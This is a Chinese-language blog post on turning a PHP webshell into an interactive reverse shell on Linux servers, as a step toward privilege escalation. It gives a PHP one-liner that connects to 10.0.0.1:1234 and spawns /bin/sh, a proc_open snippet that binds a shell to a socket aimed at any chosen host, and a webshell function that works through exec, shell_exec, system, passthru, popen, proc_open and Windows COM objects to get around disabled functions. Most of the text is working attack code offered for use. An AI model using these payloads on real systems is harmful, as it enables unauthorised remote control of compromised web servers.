Linux下，有時候拿到webshell需要提權，提權必須要得到一個交互式的shell。

我看了一下常用的php webshell，對于命令執行、反彈shell都沒有完善的方式。很多webshell里都沒有proc_popen、popen這兩種方式，特別是proc_popen，比如phpspy。

在我收集的反彈shell集合（http://tool.p1ng.pw/getshell.html）中，有一個方法，就是在命令行中輸入：

1. php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 

但是有個問題，如果在webshell里執行如上代碼的話，會把系統的標準輸入輸出重定向到/bin/sh里，導致php-fpm直接502，然后彈的shell也會瞬間掉了，這個方式比較粗魯。而我的思路是：我只希望把我新創建的進程(/bin/sh)的標準輸入輸出重定向到socket中，不去動系統的東西。

當系統沒有禁用proc_popen的時候，我們是可以借助proc_popen輕松反彈這樣的一個shell的。不需要任何其他語言的支持，php足矣。

1. $sock = fsockopen($ip, $port); 
2. $descriptorspec = array( 
3.         0 => $sock, 
4.         1 => $sock, 
5.         2 => $sock 
6. ); 
7. $process = proc_open('/bin/sh', $descriptorspec, $pipes); 
8. proc_close($process); 

其中$ip是反彈的ip，$port是反彈的端口，這也是我個人版webshell里一個小功能：

反彈shell的時候web頁面會卡死，因為php沒有異步的函數，默認也不支持多線程，所以卡住這個現象很正常，不影響反彈shell。

不過我試了，在windows下似乎不能完美運行。不知道是我環境問題（殺毒軟件等）還是代碼問題。silic的大馬中有一個windows反彈的功能，windows下可以使用：

具體代碼請自行到silic webshell中查看。我沒有試過，不知道成功率怎么樣。

另附我的webshell中執行命令的函數，各位看官自行修改后可以使用。有可以補充的，歡迎告訴我呀~

1. function exec_comm($cmd, &$type = '', &$suc = TRUE) 
2. { 
3.     set_error_handler("customError"); 
4.     $re = false; 
5.     if (emptyempty($cmd))  return '執行結果'; 
6.     if (emptyempty($type)){ 
7.         if(function_exists('exec')){ 
8.             @exec($cmd, $re); 
9.             $re = join("/n", $re); 
10.             $type = 'exec'; 
11.         }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){ 
12.             $type = 'shell_exec'; 
13.         }else if(function_exists('system')){ 
14.             @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean(); 
15.             $type = 'system'; 
16.         }else if(function_exists('passthru')){ 
17.             @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean(); 
18.             $type = 'passthru'; 
19.         }else if(is_resource($f = popen($cmd,"r"))){ 
20.             while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f); 
21.             $type = 'popen'; 
22.         }else if(function_exists('proc_open')){ 
23.             $descriptorspec = array( 
24.                 0 => array("pipe", "r"), 
25.                 1 => array("pipe", "w"), 
26.                 2 => array("pipe", "w") 
27.              ); 
28.             $process = proc_open($cmd, $descriptorspec, $pipes); 
29.             if (is_resource($process)) { 
30.                 fwrite($pipes[0], "{$cmd}/r/n"); 
31.                 fwrite($pipes[0], "exit/r/n"); 
32.                 fclose($pipes[0]); 
33.                 // 讀取輸出 
34.                 while (!feof($pipes[1])) { 
35.                     $re .= fgets($pipes[1], 1024); 
36.                 } 
37.                 fclose($pipes[1]); 
38.                 while (!feof($pipes[2])) { 
39.                     $re .= fgets($pipes[2], 1024); 
40.                   } 
41.                 fclose($pipes[2]); 
42.                 proc_close($process); 
43.             } 
44.         } 
45.     }else if($type == 'wscript'){ 
46.         $s= new COM('wscript.shell'); 
47.         $exec = $s->exec($cmd); 
48.         $stdout = $exec->StdOut(); 
49.         $re = $stdout->ReadAll(); 
50.     }else if($type == 'application'){ 
51.         $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe'); 
52.         $shell= new COM('Shell.Application'); 
53.         $shell->ShellExecute($exe,$cmd); 
54.         $re = "請查看{$cmd}中輸入文件內容/n"; 
55.     } //Vevb.com 
56.     if ($re === false){ $re = '命令執行可能失敗，可能是執行函數被禁用或執行無回顯'; $suc = FALSE;} 
57.     return $re; 
58. }